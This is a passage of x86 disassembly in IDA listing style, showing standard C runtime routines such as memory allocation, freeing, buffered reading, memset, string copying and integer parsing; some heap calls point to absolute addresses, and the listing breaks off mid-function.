		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0614h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 2800000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	near ptr 2890000h
		nop
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2800000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2890000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 2800000h
		nop


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		nop
		call	near ptr 276073Dh
		push	eax
		nop
		call	near ptr 2750975h


